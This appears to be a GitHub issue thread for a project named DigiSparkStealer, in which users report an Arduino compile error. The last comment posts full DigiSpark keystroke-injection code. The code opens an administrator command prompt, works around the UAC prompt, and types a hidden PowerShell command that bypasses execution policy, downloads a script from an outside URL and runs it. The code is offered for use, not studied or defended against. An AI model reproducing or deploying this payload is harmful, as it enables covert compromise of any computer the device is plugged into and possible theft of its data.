DigiSparkStealer icon indicating copy to clipboard operation
DigiSparkStealer copied to clipboard

Keyboard.h:25:17: fatal error: HID.h: No such file or directory #include "HID.h"

Open loner99 opened this issue 3 years ago • 4 comments

When I try to upload the sketch, i get this message:

In file included from C:\Users\dubai\Desktop\New folder (2)\New folder\DigiSparkStealer-master\arduino_source\sketch\sketch.ino:1:0: C:\Users\dubai\AppData\Local\Arduino15\libraries\Keyboard\src/Keyboard.h:25:17: fatal error: HID.h: No such file or directory #include "HID.h" ^ compilation terminated.

exit status 1

Compilation error: exit status 1

loner99 avatar Dec 18 '22 23:12 loner99

same

basgod avatar May 05 '23 17:05 basgod

same

danile371 avatar Apr 02 '24 16:04 danile371

Unfortunately, i dont have this plate and cannot help u with debugging code. I haven't maintained this code for 5 years

kovinevmv avatar Apr 02 '24 17:04 kovinevmv

#include <DigiKeyboard.h>

void typeKeyFast(char key){ DigiKeyboard.sendKeyStroke(0); DigiKeyboard.delay(100); DigiKeyboard.sendKeyStroke(0, key); }

void startCMD(){ DigiKeyboard.delay(450); DigiKeyboard.sendKeyStroke(0, KEY_LEFT_CTRL); DigiKeyboard.delay(100); DigiKeyboard.sendKeyStroke(0, KEY_ESC); DigiKeyboard.delay(100); DigiKeyboard.sendKeyStroke(0); DigiKeyboard.delay(300); DigiKeyboard.println("cmd"); DigiKeyboard.delay(140); DigiKeyboard.sendKeyStroke(0, KEY_LEFT_CTRL); DigiKeyboard.delay(140); DigiKeyboard.sendKeyStroke(0, KEY_LEFT_SHIFT); DigiKeyboard.delay(10); typeKeyFast(KEY_RETURN); DigiKeyboard.delay(1500); }

void bypassUAC(){ typeKeyFast(KEY_TAB); typeKeyFast(KEY_TAB); for (int i = 0; i < 70; i++){ typeKeyFast(KEY_BACKSPACE); } typeKeyFast(KEY_RETURN); DigiKeyboard.delay(500); }

void printCommand(){ DigiKeyboard.println("PowerShell.exe -windowstyle hidden Set-ExecutionPolicy Bypass -Force (new-object System.Net.WebClient).DownloadFile('https://codeload.github.com/danile371/legal/zip/refs/heads/main?token=BEH7SDLJ7F2ONAMVQ3O4KADGBQX7O', 'b.ps1'); Set-ExecutionPolicy Unrestricted; .\b.ps1"); typeKeyFast(KEY_RETURN); }

void setup() { DigiKeyboard.delay(5000); // Delay para dar tempo de conectar o dispositivo startCMD(); bypassUAC(); printCommand(); }

void loop() { int led2 = 13; digitalWrite(led2, LOW); delay(120); digitalWrite(led2, HIGH); delay(120); }

danile371 avatar Apr 02 '24 23:04 danile371